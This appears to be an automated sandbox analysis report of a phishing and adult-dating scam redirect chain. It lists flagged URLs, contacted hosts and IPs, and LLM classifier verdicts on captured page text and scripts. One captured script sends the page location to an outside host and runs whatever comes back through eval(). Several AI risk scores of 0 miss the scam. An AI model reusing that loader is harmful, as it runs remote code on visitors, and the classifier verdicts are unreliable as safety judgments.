http://ww12.ngelit.com/track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D	0%	Avira URL Cloud	safe
http://ww12.ngelit.com/track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D	0%	Avira URL Cloud	safe
https://statisticresearch.com/user-segments/?pid=TH	0%	Avira URL Cloud	safe
http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6)	0%	Avira URL Cloud	safe
http://parking.parklogic.com/page/enhance.js?pcId=12&domain=ngelit.com	0%	Avira URL Cloud	safe
https://secretsafedomain.com/smclick?a=81528&c=342883&o=135901&oc=216576&co=112356&mt=16&svi=EwBjNDF	100%	Avira URL Cloud	malware
https://static.trafficjunky.com/js/mp.min.js	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/3.ico	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/prod/push-subscriber.js	0%	Avira URL Cloud	safe
http://fauzi3.ngelit.com	0%	Avira URL Cloud	safe
https://www.adsensecustomsearchads.com/adsense/domains/caf.js?pac=0	0%	Avira URL Cloud	safe
https://secretsafedomain.com/s?a=81528&sm=235&s=8&sso=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	100%	Avira URL Cloud	malware
https://cdn.jsdelivr.net/npm/bootstrap-icons	0%	Avira URL Cloud	safe
https://secretsafedomain.com/service-worker.js	100%	Avira URL Cloud	malware
https://cdn.jmp-assets.com/assets/2843/css/main.css	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/2.ico	0%	Avira URL Cloud	safe
https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ	0%	Avira URL Cloud	safe
https://simxtrackredirecttszz.pages.dev/img/profile-1.jpg	100%	Avira URL Cloud	phishing
https://www.adsensecustomsearchads.com/afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=35mgsdqnx1tq&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bs&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false	0%	Avira URL Cloud	safe
https://adservice.google.com/pagead/regclk	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/assets/1373/other/favicon.ico	0%	Avira URL Cloud	safe
https://cdn.smrt-content.com/prod	0%	Avira URL Cloud	safe
https://www.google.com/ads/ga-audiences	0%	Avira URL Cloud	safe
https://cloudflrcdn.com/color?x=1&forScheme=	0%	Avira URL Cloud	safe
https://secretsafedomain.com/s?a=81528&sm=235&s=8&sbp=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	100%	Avira URL Cloud	malware
https://telegram.org/img/apple-touch-icon.png	0%	Avira URL Cloud	safe
https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff	0%	Avira URL Cloud	safe
http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=$	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/1.ico	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
https://tsyndicate.com/api/v1/retargeting/set/3f949dfe-3372-4caa-baf0-047f88323cfa?pageviewe={pageviewe}&lead={lead}	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/assets/1387/js/backoffer.js	0%	Avira URL Cloud	safe
https://statisticresearch.com/match?p=PS&adxguid=	0%	Avira URL Cloud	safe
http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/prod/push-lang-config.js	0%	Avira URL Cloud	safe
https://simxtrackredirecttszz.pages.dev/style.css	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
726512.parkingcrew.net	13.248.148.254	true	false	unknown
telegram.org	149.154.167.99	true	false	unknown
parking.parklogic.com	67.225.218.50	true	false	unknown
simxtrack.com	103.247.11.107	true	false	unknown
cdpxy.cdtechbox.link	45.141.157.146	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
stats.g.doubleclick.net	74.125.206.154	true	false	unknown
cloudflrcdn.com	34.207.50.203	true	false	unknown
www3.l.google.com	142.250.185.78	true	false	unknown
simxtrackredirecttszz.pages.dev	172.66.45.18	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
fauzi3.ngelit.com	69.16.230.42	true	false	unknown
tsyndicate.com	168.119.1.208	true	false	unknown
statisticresearch.com	35.153.14.190	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	unknown
static.trafficjunky.com.sds.rncdn7.com	66.254.122.19	true	false	unknown
d38psrni17bvxu.cloudfront.net	18.239.102.57	true	false	unknown
static.trafficjunky.com	unknown	unknown	false	unknown
cdn.jmp-assets.com	unknown	unknown	false	unknown
ww12.ngelit.com	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
afs.googleusercontent.com	unknown	unknown	false	unknown
www.adsensecustomsearchads.com	unknown	unknown	false	unknown
secretsafedomain.com	unknown	unknown	false	unknown
cdn.jmpcdn.com	unknown	unknown	false	unknown
cdn.smrt-content.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/adsense/domains/caf.js?abp=1&adsdeli=true	false	Avira URL Cloud: safe	unknown
https://telegram.org/img/favicon.ico	false	Avira URL Cloud: safe	unknown
https://telegram.org/css/bootstrap.min.css?3	false	Avira URL Cloud: safe	unknown
http://ww12.ngelit.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.adsensecustomsearchads.com/afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=vhf3wk3421c2&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bv&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false	false	Avira URL Cloud: safe	unknown
https://simxtrackredirecttszz.pages.dev/link-1	false		unknown
https://telegram.org/css/telegram.css?227	false	Avira URL Cloud: safe	unknown
https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff	false	Avira URL Cloud: safe	unknown
http://ww12.ngelit.com/ls.php?t=664fc89c&token=dda1e75f0c57350d2d7f28c09d9ec469c70db1b0	false	Avira URL Cloud: safe	unknown
http://d38psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/arrows.png	false	URL Reputation: safe	unknown
https://telegram.org/img/tgme/pattern.svg?1	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-179148962-2&cid=343168255.1716504726&jid=1258097187&gjid=971496842&_gid=1698602312.1716504726&_u=YEBAAEAAAAAAACAAI~&z=1890898182	false	Avira URL Cloud: safe	unknown
https://cloudflrcdn.com/color?x=1&forScheme=aHR0cHM6Ly9zZWNyZXRzYWZlZG9tYWluLmNvbS9zP2E9ODE1Mjgmc209MjM1JmNvPTExMjM1NiZtdD0xNiZzMT1FVk9TX1RBWlomczI9NTc2NzQ3	false	Avira URL Cloud: safe	unknown
http://fauzi3.ngelit.com/	false	Avira URL Cloud: safe	unknown
https://telegram.org/js/tgwallpaper.min.js?3	false	Avira URL Cloud: safe	unknown
https://statisticresearch.com/user-segments/?pid=TH	false	Avira URL Cloud: safe	unknown
http://ww12.ngelit.com/track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D	false	Avira URL Cloud: safe	unknown
https://static.trafficjunky.com/js/mp.min.js	false	Avira URL Cloud: safe	unknown
https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747	true		unknown
http://ww12.ngelit.com/track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D	false	Avira URL Cloud: safe	unknown
http://parking.parklogic.com/page/enhance.js?pcId=12&domain=ngelit.com	false	Avira URL Cloud: safe	unknown
https://www.adsensecustomsearchads.com/adsense/domains/caf.js?pac=0	false	Avira URL Cloud: safe	unknown
https://simxtrackredirecttszz.pages.dev/img/profile-1.jpg	false	Avira URL Cloud: phishing	unknown
https://www.adsensecustomsearchads.com/afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=35mgsdqnx1tq&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bs&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false	false	Avira URL Cloud: safe	unknown
https://simxtrackredirecttszz.pages.dev/	false		unknown
https://secretsafedomain.com/service-worker.js	false	Avira URL Cloud: malware	unknown
https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ	false	Avira URL Cloud: safe	unknown
https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff	false	Avira URL Cloud: safe	unknown
https://tsyndicate.com/api/v1/retargeting/set/3f949dfe-3372-4caa-baf0-047f88323cfa?pageviewe={pageviewe}&lead={lead}	false	Avira URL Cloud: safe	unknown
http://ww12.ngelit.com/?usid=18&utid=25970526717	true		unknown
http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1	false	Avira URL Cloud: safe	unknown
https://simxtrackredirecttszz.pages.dev/style.css	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_117.2.dr	false	URL Reputation: safe	unknown
https://osx.telegram.org/updates/site/artboard_2x.png);	chromecache_111.2.dr	false	Avira URL Cloud: safe	unknown
https://syndicatedsearch.goog	chromecache_154.2.dr, chromecache_106.2.dr	false	URL Reputation: safe	unknown
https://osx.telegram.org/updates/site/artboard.png)	chromecache_111.2.dr	false	Avira URL Cloud: safe	unknown
https://gist.github.com/92d2ac1b31978642b6b6	chromecache_142.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/devassets/3198/js/multilang_main_gender.js	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_112.2.dr	false	URL Reputation: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/6.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_117.2.dr, chromecache_119.2.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/iframe_api	chromecache_117.2.dr	false	URL Reputation: safe	unknown
https://theseoffersforyou.com	chromecache_116.2.dr, chromecache_160.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/5.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/assets/1714/js/jquery.min.js	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
http://getbootstrap.com)	chromecache_142.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/4.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://telegram.org/img/website_icon.svg?4	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_112.2.dr	false	URL Reputation: safe	unknown
https://telegram.org/img/favicon-32x32.png	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/assets/2246/css/age-styles-new.css	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://telegram.org/img/favicon-16x16.png	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/3.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
http://fauzi3.ngelit.com	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://secretsafedomain.com/smclick?a=81528&c=342883&o=135901&oc=216576&co=112356&mt=16&svi=EwBjNDF	chromecache_151.2.dr	false	Avira URL Cloud: malware	unknown
https://cdn.jmp-assets.com/prod/push-subscriber.js	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6)	chromecache_142.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/assets/2843/css/main.css	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://tagassistant.google.com/	chromecache_112.2.dr	false	URL Reputation: safe	unknown
https://adservice.google.com/pagead/regclk	chromecache_117.2.dr	false	Avira URL Cloud: safe	unknown
https://secretsafedomain.com/s?a=81528&sm=235&s=8&sso=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	chromecache_151.2.dr	false	Avira URL Cloud: malware	unknown
https://cct.google/taggy/agent.js	chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	false	URL Reputation: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/2.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap-icons	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/assets/1373/other/favicon.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.smrt-content.com/prod	chromecache_116.2.dr	false	Avira URL Cloud: safe	unknown
https://telegram.org/img/apple-touch-icon.png	chromecache_123.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/ads/ga-audiences	chromecache_112.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.%/ads/ga-audiences	chromecache_112.2.dr	false	URL Reputation: safe	unknown
https://td.doubleclick.net	chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	false	URL Reputation: safe	unknown
http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=$	chromecache_124.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmpcdn.com/assets/3420/images/1.ico	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://cloudflrcdn.com/color?x=1&forScheme=	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://www.merchant-center-analytics.goog	chromecache_117.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_142.2.dr	false	Avira URL Cloud: safe	unknown
https://secretsafedomain.com/s?a=81528&sm=235&s=8&sbp=1&spt=1716504721184&co=112356&mt=16&rc=71_1969	chromecache_151.2.dr	false	Avira URL Cloud: malware	unknown
https://cdn.jmp-assets.com/assets/1387/js/backoffer.js	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown
https://statisticresearch.com/match?p=PS&adxguid=	chromecache_116.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jmp-assets.com/prod/push-lang-config.js	chromecache_151.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.225.218.50	parking.parklogic.com	United States	32244	LIQUIDWEBUS	false
142.250.185.78	www3.l.google.com	United States	15169	GOOGLEUS	false
172.66.46.238	unknown	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	telegram.org	United Kingdom	62041	TELEGRAMRU	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
74.125.206.154	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
45.141.157.146	cdpxy.cdtechbox.link	Germany	209696	NILSATBG	false
103.247.11.107	simxtrack.com	Indonesia	58487	RUMAHWEB-AS-IDRumahwebIndonesiaCVID	false
142.250.186.110	unknown	United States	15169	GOOGLEUS	false
13.248.148.254	726512.parkingcrew.net	United States	16509	AMAZON-02US	false
172.66.45.18	simxtrackredirecttszz.pages.dev	United States	13335	CLOUDFLARENETUS	false
18.245.173.78	unknown	United States	16509	AMAZON-02US	false
18.239.102.57	d38psrni17bvxu.cloudfront.net	United States	16509	AMAZON-02US	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
168.119.1.208	tsyndicate.com	Germany	24940	HETZNER-ASDE	false
136.243.43.25	unknown	Germany	24940	HETZNER-ASDE	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.193	unknown	United States	15169	GOOGLEUS	false
64.233.166.156	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.153.14.190	statisticresearch.com	United States	14618	AMAZON-AESUS	false
66.254.122.19	static.trafficjunky.com.sds.rncdn7.com	United States	29789	REFLECTEDUS	false
34.207.50.203	cloudflrcdn.com	United States	14618	AMAZON-AESUS	false
69.16.230.42	fauzi3.ngelit.com	United States	32244	LIQUIDWEBUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446908
Start date and time:	2024-05-24 00:50:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://simxtrackredirecttszz.pages.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@23/115@66/26
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://simxtrackredirecttszz.pages.dev/link-1 Browse: https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ Browse: http://fauzi3.ngelit.com/ Browse: hhttps://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.185.110, 64.233.167.84, 34.104.35.123, 142.250.185.170, 104.18.187.31, 104.18.186.31, 216.58.206.35, 40.127.169.103, 93.184.221.240, 192.229.221.95, 20.3.187.198, 2.22.242.128, 2.22.242.113, 142.250.65.195, 172.217.16.202, 142.250.185.67, 142.250.184.200, 2.19.126.136, 2.19.126.145, 142.250.186.142, 2.16.164.67, 2.16.164.8, 2.22.242.11, 2.22.242.224, 142.250.185.142, 172.217.18.104, 52.165.164.15, 142.250.185.98, 142.250.186.163, 142.250.185.238
Excluded domains from analysis (whitelisted): crl.edge.digicert.com, cdn.jsdelivr.net.cdn.cloudflare.net, a326.dscd.akamai.net, slscr.update.microsoft.com, partner.googleadservices.com, clientservices.googleapis.com, a1860.dscd.akamai.net, cdn.jmpcdn.com.akamaized.net, wu.azureedge.net, smrt-contentv1.akamaized.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, cdn-secucdgv1.akamaized.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.google-analytics.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, crl3.digicert.c
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://simxtrackredirecttszz.pages.dev/

Input	Output
URL: https://simxtrackredirecttszz.pages.dev/ Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "The text does not mention any requirement for a password.", "The text only mentions a 'LOGIN' button for Telegram, but does not specify what information is required to log in." ] }
O Telegram LOGIN NOW TELEGRAM 18+ e 192 998 members, 11 784 online More than 10 thousand single women looking for sex are online every day...click "CONTINUE" and meet the single woman you really want -100% FREE NO NEED MONEY-
URL: https://simxtrackredirecttszz.pages.dev/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to theming and background animation functionality. It does not contain any elements that suggest malicious intent, such as phishing attempts or data exfiltration. The code is focused on UI/UX enhancements, specifically toggling themes and handling background animations." }
var tme_bg = document.getElementById('tgme_background'); if (tme_bg) { TWallpaper.init(tme_bg); TWallpaper.animate(true); window.onfocus = function () { TWallpaper.update(); }; } document.body.classList.remove('no_transition'); function toggleTheme(dark) { document.documentElement.classList.toggle('theme_dark', dark); window.Telegram && Telegram.setWidgetOptions({ dark: dark }); } if (window.matchMedia) { var darkMedia = window.matchMedia('(prefers-color-scheme: dark)'); toggleTheme(darkMedia.matches); darkMedia.addListener(function (e) { toggleTheme(e.matches); }); }
URL: https://simxtrackredirecttszz.pages.dev/ Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "There is no 'LOGIN' button or link in the text.", "The text seems to be promoting a Telegram group for adult content." ] }
O Telegram LOGIN NOW TELEGRAM 18+ e 192 998 members, 11 784 online More than 10 thousand single women looking for sex are online every day...click "CONTINUE" and meet the single woman you really want -100% FREE NO NEED MONEY-
URL: https://simxtrackredirecttszz.pages.dev/link-1 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "There is no 'LOGIN' button or link in the text.", "The text seems to be promoting a Telegram group for adult content." ] }
O Telegram LOGIN NOW TELEGRAM 18+ e 192 998 members, 11 784 online More than 10 thousand single women looking for sex are online every day...click "CONTINUE" and meet the single woman you really want -100% FREE NO NEED MONEY-
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any elements typically found in a login form, such as input fields for a username and password, a submit button, or labels for those elements.", "The text contains unrelated content about 'girls looking for attention' and a typo ('affectilnl' instead of 'affection'), which further indicates that it is not a login form." ] }
These girls are looking for attention and affectilnl' CONTINUE
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code handles a click event to manage the display of elements and CSS classes. It does not contain any malicious activities such as data exfiltration, unauthorized access, or harmful operations. It appears to be part of a user interface interaction, likely for a multi-step form or similar functionality." }
$('.step').on('click', function () { var $curStep = $(this).closest('.step').css("display", "none"); $curStep.next('.step').css("display", "block"); $('.bg__item-7').addClass("active"); $('.bg__item-1').removeClass("active"); $(".hispan").css("display", "none"); });
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any elements typically found in a login form, such as input fields for a username and password, a submit button, or labels for those elements.", "The text contains unrelated content about 'girls looking for attention' and a typo ('affectilnl' instead of 'affection'), which further suggests that it is not a login form." ] }
These girls are looking for attention and affectilnl' CONTINUE
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code dynamically changes the webpage title and favicon based on a random selection from predefined arrays. This behavior is generally benign and does not exhibit characteristics of malicious activity. There is no evidence of phishing or harmful actions in the code. The risk score is set to 1 due to the minimal potential for user confusion caused by changing titles and icons." }
let titles = ["Find Love Online","Online Dating Simplified","Unlock Your Love Life","Dating Delights","Love Connections","Find Your Perfect Match"]; let icons = ["https://cdn.jmpcdn.com/assets/3420/images/1.ico","https://cdn.jmpcdn.com/assets/3420/images/2.ico","https://cdn.jmpcdn.com/assets/3420/images/3.ico","https://cdn.jmpcdn.com/assets/3420/images/4.ico","https://cdn.jmpcdn.com/assets/3420/images/5.ico","https://cdn.jmpcdn.com/assets/3420/images/6.ico"]; const randomIndex = Math.floor(Math.random() * titles.length); const favicon = document.querySelector("link[rel='shortcut icon']"); const title = document.querySelector("title"); favicon.href = icons[randomIndex]; title.textContent = titles[randomIndex];
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is for Google Tag Manager, which is a legitimate tool used for managing marketing tags on websites. It does not contain any malicious elements." }
(function(b,c,d,a,e){b[a]=b[a]\|\|[];b[a].push({"gtm.start":(new Date).getTime(),event:"gtm.js"});b=c.getElementsByTagName(d)[0];c=c.createElement(d);a="dataLayer"!=a?"\x26l\x3d"+a:"";c.async=!0;c.src="https://www.googletagmanager.com/gtm.js?id\x3d"+e+a;b.parentNode.insertBefore(c,b)})(window,document,"script","dataLayer","GTM-5R6C28C");
URL: http://ww12.ngelit.com/?usid=18&utid=25970526717 Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text 'ngelit.com 2024 Copyright All Rights Reserved.' does not contain any elements of a typical login form such as input fields for a username or password, a submit button, or any labels indicating that the form is for logging in.", "There is no indication in the text that a login form is being displayed or is available on the page." ] }
ngelit.com 2024 Copyright All Rights Reserved.
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 8, "reasons": "The code contains an XMLHttpRequest that fetches and executes code from an external source using eval(). This is a high-risk operation as it can lead to the execution of malicious code. The use of eval() is generally considered dangerous and should be avoided." }
xhttplp=new XMLHttpRequest,xhttplp.onreadystatechange=function(){4==this.readyState&&""!=this.responseText&&eval(this.responseText)},xhttplp.open("GET","https://cloudflrcdn.com/color?x=1&forScheme="+btoa(top.location),!0),xhttplp.send(); /<![CDATA[/ (function (w) { w.backOfferUrl = "https://secretsafedomain.com/s?a=81528&sm=235&s=8&sbp=1&spt=1716504721184&co=112356&mt=16&rc=71_19695&rca=71_19695x1_0&s1=EVOS_TAZZ&s2=576747&req=https%3A%2F%2Fsecretsafedomain.com%2Fs%3Fa%3D81528%26sm%3D235%26co%3D112356%26mt%3D16%26s1%3DEVOS_TAZZ%26s2%3D576747"; })(window); /* */
URL: https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code does not exhibit any malicious behavior. It primarily deals with URL parameters and a tracking pixel URL, which is common for analytics and advertisement purposes. There are no signs of phishing or harmful activities." }
var _push = { urlParams: { cid: 251, s1: "81528", s2: "", }, }; var successUrl = ""; var deniedUrl = ""; var conversionUrl = ""; var soClickPixelUrl = "https://secretsafedomain.com/s?a=81528&sm=235&s=8&sso=1&spt=1716504721184&co=112356&mt=16&rc=71_19695&rca=71_19695x1_0&s1=EVOS_TAZZ&s2=576747&req=https%3A%2F%2Fsecretsafedomain.com%2Fs%3Fa%3D81528%26sm%3D235%26co%3D112356%26mt%3D16%26s1%3DEVOS_TAZZ%26s2%3D576747&sp=t&ro=119820&roc=170018&rcid=310702";
